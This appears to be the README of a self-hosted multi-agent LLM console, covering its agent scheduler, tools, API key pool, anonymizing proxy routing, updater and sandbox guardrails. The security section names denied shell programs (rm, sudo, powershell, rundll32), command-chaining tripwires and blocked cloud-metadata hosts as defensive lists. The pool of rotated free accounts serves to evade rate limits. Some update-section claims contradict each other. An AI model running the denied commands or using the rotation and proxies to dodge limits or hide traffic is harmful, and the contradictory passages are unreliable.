  • ๐Ÿ”Œ Survives leaving the tab โ€” flip Config โ†’ Permissions โ†’ Run while tab is hidden and the timer is driven by a Web Worker (page timers are throttled hard in a background tab), with the in-flight turn no longer aborted the moment you switch away. Come back and it ticks immediately.
  • ๐Ÿงฏ Master kill switch โ€” Config โ†’ Permissions โ†’ Enable always-on stops everything at once, aborts in-flight autonomous turns, and releases everyone so switching it back on is a clean, working reset.
  • โœ… Only the right agents run โ€” an agent needs a standing goal and its own always-on switch and to be active and not held before the scheduler will touch it.
  • ๐Ÿงต Runs in the page, by design. There is no server-side runner โ€” this stops when the tab closes, which is exactly why it's cheap and easy to reason about.

๐Ÿ“ Tip: a standing goal of idle (or two words) gives the agent nothing to aim at, so it will wander and "explore." Give it a real objective โ€” "run the test suite and fix failures until green." The status line in Config tells you roughly how many turns/hour that will cost.


โ Global pre-prompt override โ€” one instruction for the whole fleet

A single box in the Agents-tab header (ยง button) that reaches every agent's system prompt, on every call path โ€” main chat, ask-directly and routing-chart runs alike. โœจ

  • ๐Ÿงฉ Prepend (default) or Replace โ€” your call. A toggle inside the popup (bottom-left) picks the behaviour, and the hint above the box updates to match:
    • Prepend (off, default) โ€” the override is placed in front of each agent's own prompt, which still follows. Best for a house rule that everything should obey. ๐Ÿ 
    • Replace (on) โ€” the override stands in for the agent's prompt. Best for a temporary "everyone answer like this." ๐ŸŽญ
  • ๐Ÿช„ Toggle it live โ€” Edit to write it, Activate / Deactivate to arm it without opening the editor. The button pulses while it's armed. ๐Ÿ’ 
  • ๐Ÿ”’ Stored prompts are never harmed โ€” the moment you switch it off (or flip back to Prepend), every agent's own prompt returns exactly as it was.
  • โš ๏ธ It can fight tools โ€” and the app knows it. A pre-prompt like "reply with ONLY text / 9 words" used to make agents narrate tool calls instead of sending them. The tool instructions now state plainly that a tool call is the one exception to any brevity rule, and the loop re-prompts once if a model only says it will use a tool.

๐Ÿงญ The apps notch โ€” one thumb to everything

A pull-tab centred just under the header dips into the chat area โ€” a \___/ notch sized for a thumb. Tapping it drops the apps menu: ๐Ÿง  Brain Lab, ๐Ÿงช API Lab, ๐Ÿ”€ the Routing chart and ๐ŸŒ the built-in browser โ€” so a phone never has to hunt through the header, and the top rail keeps only what you reach for constantly. It closes on an outside tap, on Esc, or when you pick something. ๐Ÿ“ฑ


๐Ÿง  The context assembler & native tool calling

So a long job doesn't quietly fall out of the model's memory mid-task. ๐Ÿงต

  • ๐Ÿ“ Budgeted against the model's real window โ€” replayed history is sized to the model's actual context limit (not a fixed 24k characters), and each oversized tool result keeps its head and tail instead of being cut mid-answer.
  • ๐Ÿ—œ๏ธ Live-context compaction โ€” old assistant / TOOL_RESULT exchanges are compacted before every request, so the tool transcript can't crowd the conversation out.
  • ๐Ÿ“‹ The plan survives โ€” the todo_write list is re-injected into the system prompt and refreshed after each write, so it doesn't get compacted away halfway through.
  • ๐Ÿ”ง Native tool calling โ€” where the API family supports it, tools are sent as real schemas (OpenAI, Anthropic and Google shapes) instead of a syntax the model has to imitate, with automatic fallback to the prompt protocol if a provider rejects them.
  • ๐Ÿง  Learned dialect โ€” see Dynamic tools below: the dialect that last worked for a provider::model is remembered and tried first.

๐Ÿ› ๏ธ Tools agents can use

Tick tools per agent in the editor. They're grouped:

๐Ÿงฐ Server-side sandbox (files, web, shell)

Tool What it does
๐ŸŒ web_search Search the web, no API key (DuckDuckGo โ†’ Marginalia โ†’ Wiby)
๐Ÿ“„ fetch_url Read a page as plain text (refuses private/metadata hosts)
๐Ÿ“– read_file / list_dir / glob_files / grep_code / stat Explore a jailed filesystem
โœ๏ธ write_file Create or edit a file โ€” asks you first
๐Ÿง‘๐Ÿ’ป exec Run one command as an argv array (no shell), allowlisted
๐Ÿ run_code Run a Python/Node/bash snippet (off by default)
๐Ÿ™ git / git_commit Read-only git, plus stage + commit

๐Ÿ–Š๏ธ Familiar editor + workflow tools (the names models were trained on) str_replace_editor (view/create/str_replace/insert), edit_file (search/replace), apply_patch (Codex V4A diffs), multi_edit (all-or-nothing), todo_write (a plan), think (a private scratchpad), http_request (any method + headers + body).

๐Ÿค Team + memory + MCP list_agents, ask_agent, tell_agent, read_mailbox; remember, share, recall, adopt; mcp_list, mcp_call.

Every path is jailed server-side, so ../ and symlinks can't escape, and a protected-paths list keeps secrets (storage/, keys, dotfiles) off-limits even inside a root.


๐Ÿงญ The provider harness

Different providers aren't one API with different URLs. A single registry (src/Harness.php + ui/js/harness.js) decides, per request:

  • Which API shape โ€” OpenAI-compatible, Anthropic Messages, Google generateContent, or Ollama โ€” from the endpoint host, then provider id, then a model hint.
  • Which tool dialect to teach โ€” JSON, Claude XML, native tags, or plain โ€” from the provider + model id.
  • Per-family quirks โ€” auth headers (Bearer / x-api-key / ?key= / Azure api-key), request/response/usage/reasoning shapes, streaming envelopes, and output-token caps.

Adding a provider is one line in the alias table, or just a new provider in the UI. The browser copy is generated from the PHP (php tools/gen-harness.php) so the two can't drift.


๐Ÿง  Dynamic tools & the learned dialect

Config โ†’ Labs: dynamic tools, the learned dialect, the API pool and the browser

No two models are alike โ€” and the free ones are the fussiest of all. ๐Ÿ”ง Dynamic tools hands each model the environment it is actually running in โ€” the server's ๐ŸชŸ/๐Ÿง OS, the working directory, and which shell commands really exist โ€” then shows one correct example per tool in that model's own dialect (JSON, Claude XML, native <|tool_call|> tags, or plain). No more findstr on Linux, no more guessing the syntax: the model is told, up front. ๐ŸŽฏ

  • ๐ŸŒ Speaks the model's language โ€” OpenAI-style JSON, Claude XML, native tags or plain JSON, detected from the provider + model id (or forced per agent).
  • ๐Ÿ›Ÿ One rescue retry โ€” if a reply looks like a tool call but parses to nothing, the loop re-teaches once with a different dialect instead of letting the near-miss become the answer.
  • ๐Ÿง  Learns the winner โ€” once a call parses, the dialect that worked is remembered per provider + model and tried first next time.
  • ๐Ÿ›‘ Off in one click โ€” Config โ†’ Labs โ†’ Dynamic tools restores the classic behaviour exactly, if you ever want it.

Free, quantised models that used to burn 6โ€“8 calls guessing now get it right the first time. ๐Ÿš€


โฑ๏ธ Throttle / limiter / pacer

Throttle and metrics

A 40-requests-per-minute key dies when 16 chart nodes fire at once. The pacer counts outbound calls per host + key and waits instead of spending a 429.

  • Per-key buckets โ€” four agents on four keys are four buckets; two agents on one key correctly share.
  • Knows the free tiers โ€” NVIDIA NIM 40/min, Groq 30, OpenRouter 20, โ€ฆ with a host default for anything unknown. Set the global field to 0 = AUTO to use each provider's real ceiling, or type a number to override everyone. Precedence: agent lock โ†’ provider โ†’ global โ†’ host default.
  • Learns from a 429 โ€” a real refusal holds the bucket closed for the server's Retry-After.

๐Ÿ”‘ API pool โ€” rotate your keys

Provider editor โ†’ API pool: extra keys, model scoping and rotate-after-N

Got several keys for one provider โ€” a handful of free accounts, a team key, a spare? ๐Ÿ—๏ธ Drop them into the provider's API pool and let the console do the shuffling.

  • ๐Ÿ” Rotate after N requests โ€” set the number and the pool hands out the next key when one reaches it (0 = every call).
  • ๐ŸŽฏ Pin a key to a model โ€” tick Only this model and enter a model # (like #63BET7) or a model id, and that key circles just that model while everything else keeps the single key.
  • ๐Ÿ˜ด 429s get rested โ€” a rate-limit refusal puts a key on a 60-second cooldown and the next call reaches for another, so one exhausted free tier never stalls the whole provider.
  • ๐Ÿงท Your explicit key still wins โ€” an agent's own Key Override always takes precedence. The feature is on by default and stays completely inert until a provider actually carries pool keys (empty pool โ†’ the single provider key, exactly as before); switch it off in Config โ†’ Labs to ignore pools entirely.

It stacks with the pacer: every key is counted in its own bucket ๐Ÿ“ˆ, so a busy fleet spreads its load instead of slamming one ceiling.


๐ŸŒ Proxy โ€” route every agent's outbound traffic

The Proxy tab: ELITE and ANONYMOUS rows, ping, uptime, favourite, USE and clear

Agents leak. ๐Ÿ•ต๏ธ By default every model call, every web_search, every fetch_url and every curl an agent runs in the shell leaves from your IP. The Proxy tab โ€” in the top nav, beside Providers โ€” puts a checkpoint in front of all of it.

  • ๐Ÿ”„ REFRESH LIST pulls hundreds at once. The server reads a live public proxy feed โ€” the kind of list that rotates daily โ€” and keeps only what is usable: alive, HTTP, IPv4 (this host dials IPv4 for CURLOPT_PROXY, so an IPv6 entry would look selected while traffic quietly went direct) and identity-hiding only. The header tells you what you got โ€” 340 IPv4 proxies (elite + anonymous) โ€” and the drop counters explain a short list instead of leaving you to guess.
  • ๐Ÿฅ‡ Two grades of hiding, and nothing below them. ELITE (best) never announces itself and never forwards your address, so the far end sees a stranger. ANONYMOUS (better) strips your address, but the request may still be identifiable as proxied. Transparent proxies are refused at the source: they are your real IP with extra steps.
  • ๐Ÿ“ก Ping and uptime, per row. PING measures a real round-trip through that proxy to https://httpbin.org/ip; PING ALL sweeps the whole list in one server request with curl_multi, so 300 rows take seconds instead of the better part of an hour. Uptime comes from the feed's own history โ€” how much of the recent past that endpoint answered โ€” and Working only hides the rows that stopped answering.
  • โญ Favourites stick. Star a row and it is kept with your settings rather than in the feed, so a proxy that worked yesterday is one click away after the list rotates.
  • โœ… USE routes everything, server-side. The choice is saved in config.json, because the server is what makes the call โ€” a browser-only setting is invisible to it, which is exactly why picking a proxy once changed nothing. From then on: model relays, web_search, fetch_url and every shell command that honours proxy variables (curl, wget, nmap) go through it, while localhost and 127.0.0.1 stay direct via NO_PROXY. A per-request proxy in an agent's own spec still wins over the global choice.
  • โš ๏ธ It does not fail closed โ€” deliberately. Free lists rot; when the selected proxy dies, calls fail with a curl error and its row says so. That is a consequence you can see, not a silent fall back to your real address. CLEAR SELECTION returns everything to the direct route.

๐Ÿ“Š Metrics & ๐Ÿ”Ž Run trace

  • Agent cards show a live line: โšก tokens/budget ยท N req ยท up 2h ยท 40/min โ€” with a tooltip of in/out tokens, billed calls, output cap, context window and last call. Set a token budget (Config โ†’ Limits) and it shows used/limit (%).
  • ๐Ÿ”Ž Run trace (Config โ†’ TRACE) is one viewer with three tabs:
    • RUNS โ€” a sequenced timeline of every model turn and tool call: time, agent, model/tool, ms, ok/fail, and token cost โ€” plus totals.
    • COMMS โ€” what the agents actually said to each other, with the text: the question, the answer that came back, one-way orders and pings, each with its duration and a failure marker. Kept in memory (300 exchanges) for the page-load; agent chat is never written to storage/.
    • EXEC โ€” storage/exec.log parsed into runs, newest first: time, agent, command, working directory, duration, exit code, and a no end marker for a run that started and never reported back. Read-only โ€” the UI has no button that can clear evidence.
  • ๐Ÿ—ฃ๏ธ Per-agent, from the map โ€” an agent's card on the chart shows Recent messages with what was said, and Messages โ†’ opens a drawer scoped to that agent (Talk / Runs). Hovering a beam reads "Agent A โ†’ Agent B: โ€ฆ".
  • ๐Ÿงพ The audit trail is two-phase โ€” each exec/run_code run writes phase=start before the process spawns and phase=end afterwards, sharing one run= id and carrying agent=<id>. A command killed mid-run therefore leaves a visible start with no end instead of no record at all, and every line can be tied to the turn that asked for it.

๐Ÿ•ธ๏ธ Network & topology

The live network graph โ€” agents, providers and traffic

The whole loop as a living map. Every activated agent and provider becomes a glowing node, and each exchange paints a dotted line whose dots travel the way the traffic actually moved.

๐ŸŽ›๏ธ It is also the most expensive thing in the app, so every visual it owns has a switch in Config โ†’ Desktop โ€” fog, bloom, the floating floor, auto-rotate, map detail and the frame cap. That card โ€” every knob, what it costs and what it defaults to โ€” is detailed in Config โ†’ Desktop above. ๐Ÿงฎ

  • ๐Ÿง‘ You โ€” the red node at the heart of the graph, with a live card: ๐Ÿ“จ prompts sent, ๐Ÿ’ฌ replies, ๐Ÿค– agents online, โš™๏ธ working now, ๐Ÿช™ session tokens and ๐Ÿ“ก fleet average ping.
  • ๐Ÿค– Agent nodes โ€” one per activated agent, ringed in its own colour, showing its role, model, โš™๏ธ tool calls and โฌก token spend, with ๐Ÿ’ง ripple rings while it works.
  • ๐ŸŸฃ Provider nebulas โ€” each provider breathes as a soft cloud, with its agents orbiting inside.
  • ๐Ÿงต Traffic lines โ€” dotted and colour-matched to the model, with dots marching the direction the message actually travelled: โžก๏ธ toward You for a reply, โฌ…๏ธ from You for a request.
  • ๐Ÿ•น๏ธ Controls โ€” drag to orbit, scroll to zoom, right-drag to pan, click a node for its ๐Ÿ“Š metrics, and switch ๐ŸงŠ 3D / ๐Ÿ—บ๏ธ 2D or go fullscreen.
  • ๐Ÿ”” Notifications โ€” a bell keeps a running list of run errors and warnings so nothing scrolls past unnoticed.
  • ๐ŸŸ  MCP nodes โ€” a server you call (amber) and a friend's client connected to you (sky) each become a node with the same clickable card: transport, reachability and tool count, tool policy, scope, and recent calls. Outgoing calls animate live (agent โ†’ server โ†’ agent); incoming friend traffic ticks in from the server's audit log.
  • ๐Ÿ—‚๏ธ Two extra tabs on every MCP card โ€” Access edits the node itself (a server's connection plus a per-server tool allow/deny; a friend's read/write/exec scope and IP allowlist); Permissions edits the app-wide shell allow/deny lists, interpreter levels, auto-approve / auto-deny and the code interpreter โ€” inline.
  • โ“ Ask a model from its node โ€” the 3D card carries an ASK button that docks a small prompt box with a send button and a Voice toggle. The answer lands in a floating box pinned to the graph, isolated from the transcript, while the traffic still animates.
  • ๐Ÿ› ๏ธ Verbose inline replies โ€” the graph's reply box prints the real tool work verbatim (call name, pretty-printed arguments, status, duration, full output) before the closing answer, and only the closing answer is ever read aloud. ๐Ÿ”Š

๐Ÿงฎ Resource Manager โ€” let the 3D graph rest ๐Ÿ˜ด

The living map is lovely and also, by default, always on. Config โ†’ Resource Manager adds optional brakes โ€” every switch off by default, so nothing changes until you ask:

  • ๐ŸชŸ Pause when a panel is open (routing chart, API Lab, Brain Lab, browser, modals) โ€” no point rendering a graph behind a full-screen drawer.
  • ๐ŸŽฏ Pause when the window isn't focused โ€” switch to another app and it stands down.
  • ๐Ÿ‘€ Pause when the graph is off-screen โ€” an IntersectionObserver, which also fixes the mobile case where the panel is slid off-screen and kept rendering unnoticed.
  • ๐Ÿข Slow down when idle (default 10 fps) โ€” idle means no traffic beams, no working agents, settled layout, no recent interaction.
  • ๐Ÿงญ Two speedometer gauges + an FPS / frame-ms readout โ€” CPU is this app's JS share of each frame; GPU is real GPU ms via EXT_disjoint_timer_query_webgl2 when the browser exposes it, otherwise a clearly-labelled estimate.

๐Ÿ’ญ Thinking & reasoning

Some models show their work. ๐Ÿ’ญ๐Ÿงฉ When a provider streams a reasoning trace, the thinking panel opens and shows it live, so you can watch the model deliberate before the answer lands โ€” handy for debugging a stubborn prompt without cluttering the reply.


๐Ÿง  Memory

Agents keep private notes and share a small collective every agent reads. Tools: remember (private), share (collective), recall, adopt. Notes are injected as recollection, not instructions, and are fully editable/deletable in Brain Lab.

Two recent hardenings so memory can't look "off":

  • If a model narrates a tool call ("I'll use the remember tool") instead of emitting it, the loop re-prompts once to actually send it.
  • Memory syncs across devices but unions by id โ€” a sync can never silently drop a note that exists only in your browser.

Replayed history is budgeted against the model's real context window instead of a fixed 24k characters, and oversized tool output keeps its head and tail rather than being cut mid-result.


๐Ÿ’พ Export & import

Take your work with you. ๐Ÿ“ฆ

  • ๐Ÿ“ค Export a session โ€” download one conversation from the transcript, or GET /export/{id}.
  • ๐Ÿ—„๏ธ Back up everything โ€” GET /backup grabs the whole state as a single file.
  • ๐Ÿ“ฅ Import โ€” POST /import restores it on this machine, or another.

๐Ÿ” Updates โ€” check, download, verify, install

The app checks its own published release, shows you exactly what would change, and then โ€” if you say so โ€” installs it, keeping a rollback copy of the code you had. ๐Ÿงพ

The bell naming a newer release, read from the published changelog

  • ๐Ÿ“ฅ Config โ†’ Updates โ†’ DOWNLOAD UPDATEโ€ฆ fetches the published archive from GitHub into storage/updates/, verifies it, extracts a staging copy and diffs it against your install: N new ยท N changed ยท N unchanged ยท N not in this release โ€” plus the version each copy calls itself and the archive's SHA-256.
  • ๐Ÿ”” It checks by itself at load. The server reads two small files from the published copy (VERSION and ui/js/store.js) and compares version numbers, so the app knows a release exists without downloading one. If the published version is newer, one notification lands in the bell (๐Ÿ””, right panel): "Update available โ€” published v337, this copy v344. Open Config โ†’ Updates to compare it." Announced once per published version, not once per reload, and the answer is cached for six hours โ€” so a reload usually costs no network call at all.
  • ๐ŸŽž๏ธ Two numbers, not one. A release is announced by either of two signals, both read from the published copy: VERSION (repo root โ€” the release number, bumped on every release, including one that changes no browser file) and APP_VERSION in ui/js/store.js (the browser cache-buster, which moves only when a file the browser caches changes). Before the release number existed the check could see only the cache-buster, so a PHP-only release was invisible โ€” it reported "up to date" for a release that had shipped.
  • ๐Ÿท๏ธ VERSION is a plain integer (347, not 2026.10.26): the comparison is numeric, so a dotted date would never read as newer. It also must never be behind APP_VERSION, and tests/php/update.test.php fails if it is โ€” that is what stops a release from quietly making itself invisible. A published copy with no VERSION at all is judged on its cache-buster instead, so older releases keep working.
  • ๐Ÿ“ฐ The notification names what shipped. When a newer release exists, the server also reads the top entry of the published CHANGELOG.md โ€” and only then, because that file is the largest in the repo and every byte of it is worthless while the two copies match. The bell says "Update available โ€” published v349 ยท RELEASING.md: the two-number checklist", and Config โ†’ Updates keeps a What's new: row, so the news survives a reload โ€” a bell entry is raised once per release and its list lives only in memory. If the CHANGELOG cannot be read, the release is still announced, just without a name.
  • ๐Ÿ”Ž That row opens. What's new is a disclosure, not a teaser: closed it names the release and its opening sentence, opened it lists the entry's own lines โ€” every bullet with its bold lead-in, sub-points indented โ€” read from the same parse that produced the one-liner, so the two can never disagree. It is capped at 60 lines / 4000 characters and scrolls in place, because the text arrives over the network; when a cap bites it says so rather than pretending the entry ended. Every line is remote text and is placed as text, never as markup โ€” the bold lead-in is a real element built around escaped content.
  • ๐ŸŽ›๏ธ The switch is in Config โ†’ Updates: Check for updates when the app loads, on by default, with CHECK NOW to ask immediately and a one-line answer beneath it ("Published v337, this copy v344 โ€” this copy is the newer one"). Both numbers are always shown, because the published copy can be behind a local one and an arrow would read as an upgrade that takes you backwards. Off silences the load-time check only โ€” CHECK NOW and DOWNLOAD UPDATE always work.
  • ๐Ÿ”‡ A check that cannot run says nothing. Offline, behind a proxy, or on a PHP with no curl, the load-time check stays quiet: it never blocks boot, never throws, and never claims you are out of date. A failed check is remembered briefly (15 minutes) so an offline machine is not retrying on every reload. The announcement names the release; the file-by-file diff still takes DOWNLOAD UPDATE.
  • ๐Ÿงญ Ask once, then it runs. The load-time announcement is a prompt with three answers: BACK UP, THEN UPDATE (your settings, saved to this machine's Downloads folder as router-backup-<version>-<timestamp>.json โ€” that file holds your keys and token, so keep it safe), UPDATE WITHOUT A BACKUP, or CANCEL. Pick either of the first two and the whole chain runs unattended: download โ†’ verify โ†’ diff โ†’ install โ†’ reload. No second confirmation, because the click was the confirmation.
  • ๐Ÿ› ๏ธ The install. Config โ†’ Updates โ†’ INSTALL UPDATEโ€ฆ copies the staged release over the app's own files. It refuses storage/, .git, node_modules, .freebuff, screenshots/ and sandbox/ before it looks at any file, never writes over a file in place (new bytes land in a dotfile sibling and are rename()d over the target, so a reader sees the old file or the new one and never half of either), and deletes nothing โ€” a file the release dropped simply stays.
  • โ†ฉ๏ธ Always a way back. Before the first write it copies the current tree to storage/backups/<version>-<timestamp>/ with a manifest.json (path, size, sha256). Config โ†’ Updates โ†’ ROLL BACK restores it, and if the installed files report a different version than the release claimed, the installer rolls itself back and says so. Two rollback copies are kept, pruned oldest-first.
  • ๐Ÿ–ฅ๏ธ install-update.php โ€” the way in when the app can't help. php install-update.php installs what is staged, --finish swaps in anything an install had to defer, --rollback undoes it, --status reports what is staged and what the last run did. It loads one file, uses no autoloader, refuses to run over HTTP, and exists for two cases a button cannot cover: a Linux host where www-data cannot write the app folder, and a tree that a half-finished update already broke โ€” the code that would fix it is inside that tree.
  • ๐ŸชŸ One file cannot be swapped from inside the request that is running it. On Windows the entry script (api/index.php) is held open for the life of the request, so the installer writes it as .router-new-index.php and journals it as deferred, finishes everything else, and hands the last swap to a generated script in storage/updates/ that runs as its own process a second later. Nothing is ever deleted to make room, and if the handoff cannot happen the UI names the file and the exit (install-update.php --finish). A page load retries it too: autoload.php is one of the files an install replaces, so the retry runs on the new installer โ€” the one whose PHP lookup works โ€” and a stuck update finishes itself a second later. If it still cannot, Config โ†’ Updates opens with 1 file waiting โ€” this update is unfinished, names the file, and offers FINISH THE UPDATE; the section badge reads UNFINISHED whether or not it is expanded, so the panel never claims up to date while a file is still one rename short.
  • ๐Ÿ““ It says what it did. storage/updates/install.log records every phase, and install.json carries the current one (installing / done / failed / rolled-back). Both are under storage/, so neither is reachable over HTTP.
  • ๐Ÿ” Your data is out of scope by construction. The published copy ships a default storage/ folder, so a plain "unzip over the app" would replace your config, token and provider keys with defaults. Every storage/* entry is refused at extraction time โ€” before any diff exists โ€” and storage/ never appears in the comparison.
  • ๐Ÿงญ What โ€œnot in this releaseโ€ means. Files on disk that the release doesn't contain (cleancopy/, screenshots, work you haven't pushed) are listed, never deleted.
  • ๐Ÿ›ก๏ธ The archive is treated as hostile. https only, on GitHub's release hosts โ€” checked before the request and again after redirects โ€” with a 64 MB / 20 000-entry cap, and every entry name resolved by hand: .., absolute paths, drive letters and stream:// wrappers are refused rather than written.
  • ๐Ÿ—‘๏ธ DISCARD empties storage/updates/ again; the download is ~11 MB and the staging copy goes with one click.
  • ๐Ÿงช Covered by tests/php/update.test.php: entry-name refusals, wrapper stripping before the storage rule (the bug it was written for), the diff classifications, the source guard, and the CHANGELOG parsers (which line is the title, one bullet only as the summary, markdown stripped, truncation counted in characters so an em dash or emoji cannot make the response un-encodable, and the whole-entry reader behind What's new โ€” lead-in split, nesting depth, and both caps).

Config โ†’ Updates: the archive hash, the file-by-file diff, and the What's new row

โš ๏ธ Install is deliberately not implemented yet. Choosing what to overwrite โ€” and merging new config keys into a config that already exists โ€” is a separate decision from knowing what changed, and this step only does the knowing.


๐Ÿ” Security & guardrails โ€” safe by construction ๐Ÿ›ก๏ธ

The short version: giving a language model a shell, a filesystem and the web is normally a terrifying idea. So this app assumes the model is hostile, the web content it reads is booby-trapped, and the only trustworthy actor is you, the operator. Every capability is off until you switch it on, every dangerous action asks first, and every escape hatch has a floor beneath it. Nothing ships with a key ๐Ÿ”‘, nothing runs before a token ๐Ÿ”‘, and no tool can reach past the fence you drew. ๐Ÿงฑ

๐Ÿ”‘ 1. The front door is locked โ€” a per-device access token

  • ๐Ÿšช Every single API route is gated. No token โ†’ 401. The only thing standing between a stranger and your agents' conversations, your files and your shell; the app has no user accounts, on purpose.
  • ๐Ÿงฌ Nothing ships with a token. A fresh copy refuses to serve anything until you run ./setup-token.sh (or the one-click installer does it for you) โ€” a fresh install answers 503 {"error":"no token configured"}. You literally cannot forget to set one.
  • ๐Ÿ“ต The token never roams. It is a device-local credential, stripped from every state bundle before it is mirrored to the server or synced to another device. One browser's empty field can never wipe another device's working paste.
  • ๐Ÿ” Rotate on demand โ€” ./setup-token.sh --force mints a new one; the old value dies instantly.
  • ๐Ÿ”Ž Lost it? ./setup-token.sh --show prints the one in use and says whether the gate is on or off. It needs python or php โ€” whichever answers, php being the one a running copy cannot be without โ€” and on Windows start.bat -Token prints the same token with no interpreter at all.

๐Ÿšฆ 2. Approvals โ€” nothing scary happens without a nod

  • โœ‹ Ask-first by default. write_file, exec, run_code, git_commit and their friends queue a prompt you answer: Allow once / Always / Deny.
  • ๐ŸŸข Auto-approve is opt-in โ€” an explicit switch you flip, never an inherited default. Turn it on and any agent may write files without asking; leave it off and a human stays in the loop.
  • ๐Ÿ›‘ Auto-deny โ€” the panic button. One switch refuses everything that would otherwise ask, instantly, everywhere.
  • ๐Ÿ“ฅ A single Pending-approvals queue collects everything waiting (from every agent and every remote MCP friend) so nothing slips through unseen.

๐Ÿงพ 3. Allow / Deny lists โ€” an argv-level bouncer

The Allow / Deny panel: per-interpreter levels, the editable denylist, and Restore built-in defaults

  • โœ… An allowlist you own decides which programs may run at all. Each command is matched argument by argument โ€” no glob fuzz.
  • โ›” A denylist that wins over approvals. It is checked before the allowlist and before the approval prompt, so a name on it can never be waved through with "Always allow". reboot, shutdown, rm, sudo, cmd, powershell and the classic foot-guns live here.
  • ๐Ÿ” โ€ฆbut nothing is denied forever. The list is a default, not a law: an explicit sandbox.exec_deny in storage/config.json replaces it wholesale, and the same list is editable inline under Config โ†’ Shell access (or an MCP card's Permissions tab). Remove a name and it becomes an ordinary command again โ€” refused as "not allowed" and back in the approval queue, exactly like everything else. No program is refused by name anywhere in code.
  • โ†ฉ๏ธ The undo path is on screen, not in the docs. A refusal names the exact place to fix it โ€” "delete the explorer line under Config โ†’ Shell access โ†’ Allow / Deny (section 4), add it to section 2" โ€” and says why an approval can't do it (the denylist is checked first). In that panel, Restore built-in defaults reloads the shipped list even after a custom one replaced it, so you can always see what you replaced. An empty box falls back to the built-in defaults on purpose: clearing it must not silently un-deny rm and sudo. For a genuinely empty denylist, set "exec_deny": [] in storage/config.json โ€” which is what the panel's hint tells you.
  • ๐Ÿงจ Tripwires for metacharacters โ€” |, &&, eval, xargs, env and friends are refused, so a model can't smuggle a second command through a "harmless" one.
  • ๐ŸŽš๏ธ Per-interpreter levels โ€” Blocked / Scripts only / Full โ€” so run_code can be dialled from "no" to "quiet scripts" to "go wild" independently of exec.

๐Ÿงฑ 4. The jail โ€” a fence with no back gate

  • ๐Ÿ”’ Every path is resolved server-side. ../, ..\\, absolute paths and symlinks are all resolved and then checked โ€” anything outside your declared read/write roots is refused with a message the model can read, not a mysterious crash.
  • ๐Ÿ™ˆ Protected paths โ€” secrets are invisible even inside a root. A default deny-list (storage/, .git, .env*, *.pem, *.key, dotfiles, โ€ฆ) is enforced in the resolver itself, so even if you point the root at the whole app folder, the access token and every provider key still cannot be read. Clear the list to opt out โ€” nothing is permanent.
  • โœ‚๏ธ Write scope is separate from read scope. Keep writes in a scratch folder and even a prompt-injected agent can't overwrite Config.php, .htaccess or session data.

๐Ÿš 5. No shell to hijack

  • ๐Ÿงฉ exec takes an argv array, not a string. There is no sh -c, no pipes, no redirects, no $(...) โ€” so there is no second command to inject, ever. The dangerous parts of "running a command" simply don't exist here.
  • ๐ŸชŸ/๐Ÿง Windows-aware โ€” builtins are implemented in PHP where no .exe exists, .cmd/.bat shims are never shelled, and the prompt is told the truth about the host so it stops guessing.
  • ๐Ÿ”ค One entry covers both spellings. Policy comparisons fold case and ignore a trailing .exe/.com, so exec_allow: [grep] matches the grep.exe Git for Windows actually ships, and a deny entry for bash also stops bash.exe (the WSL launcher). Without this the lists only protected the spelling you happened to type.
  • ๐ŸชŸ The Windows command hosts are denied by default. cmd, powershell, pwsh, wscript, cscript, mshta, rundll32, regsvr32, msiexec, wmic, schtasks, sc, reg, regedit and explorer are each the local spelling of sh -c โ€” the payload rides inside an argument, so the allowlist, the path guard and the jail never see it. They are defaults you can remove, not permanent refusals: that is the difference between a policy and a hardcoded block.

๐Ÿงฌ 6. Edits are atomic, or they don't happen

  • ๐Ÿงท apply_patch (V4A) and multi_edit are all-or-nothing. Every hunk must match its context exactly once; one miss and nothing is written โ€” no half-applied file, no corrupted source.
  • ๐Ÿ‘€ Read-before-write is the taught workflow, and search/replace refuses an ambiguous match rather than guessing which one you meant.

๐Ÿ™ 7. Git runs on a leash

  • ๐Ÿ“œ A subcommand allowlist โ€” read-only commands (status, diff, log, show, blame) run freely; anything that writes (add, commit, checkout, โ€ฆ) asks first.
  • ๐Ÿšซ Retargeting flags refused โ€” -c, --git-dir, --work-tree, --output can't be used to point git at somewhere it shouldn't go. git_commit supplies a safe default identity so it works on a clean host.

๐ŸŒ 8. Network egress is fenced (SSRF guardrails)

  • ๐Ÿ›ฐ๏ธ fetch_url and http_request refuse private and cloud-metadata hosts by name โ€” 169.254.x.x, metadata.google.internal, 100.100.100.200 and friends โ€” so a model can't use your box to probe the internal network or steal cloud credentials.
  • ๐Ÿ”’ http/https only. Spoofed Host, Content-Length and Accept-Encoding headers are stripped; responses are truncated so a giant page can't exhaust memory.
  • ๐Ÿงช The API Lab keeps the same rules and names the layer it failed at (dns / tls / connect / timeout / blocked) instead of leaking a stack trace.

๐Ÿ•ต๏ธ 9. Secrets never appear on screen

  • ๐Ÿ™ˆ Key-shaped headers (Authorization, x-api-key, Cookie, โ€ฆ) are masked in the UI โ€” display only. Copy and send still use the real value, and the server never echoes request headers back.
  • ๐Ÿ“š The converter lesson, learned the hard way. Saved browser pages faithfully preserve secrets. The app now keeps such dumps out of the webroot, and the guidance is plain: strip keys before saving a page.

๐Ÿ–ผ๏ธ 10. Vision is safe by construction

  • ๐Ÿงจ An image that is also a script is the classic polyglot attack. Only PNG / JPEG / WebP / GIF are accepted, and only after they sniff as inert.
  • โ˜๏ธ The bytes never touch the server. An attached image becomes an in-memory data: URL and rides in the request's image_url field โ€” no upload endpoint, no file on disk. ๐Ÿ—‘๏ธ

๐ŸŒ 11. The built-in browser is gated on every hop

  • ๐Ÿšช Off by default; every browser route returns 403 until you enable it (and the API refuses the tools regardless of what a prompt says).
  • ๐Ÿ”— http/https only, cloud-metadata refused, and a server-side block list (*.gov, *word*, bare hosts/IPs, URL paths) is enforced on every navigation โ€” yours and the agents' โ€” and re-checked after a click or type in case a link reaches a banned host.
  • ๐Ÿ• One instance, reaped. Launching reaps any stray headless Chrome/Edge still holding the profile dir, so there is never a pile of them chewing CPU/GPU.

๐Ÿค 12. MCP server โ€” lending tools without giving away the house

  • ๐ŸŽซ Per-friend tokens, each with a scope โ€” read / write / exec โ€” plus an optional IP allowlist and one-click revoke. Tokens never expire until you kill them.
  • ๐Ÿ“ Scope is a ceiling, the Sandbox is the floor. A friend's token only decides which tool it may reach; the call still runs through every control above โ€” the file jail, allow/deny lists, interpreter levels, code gate and the approval queue.
  • โณ An un-allowed command lands in your Pending-approvals list and the friend's call simply returns "waiting for the operator."
  • ๐Ÿš๏ธ Friends work in a scratch folder that gets a deny-all .htaccess, so what they write is never served over the web.
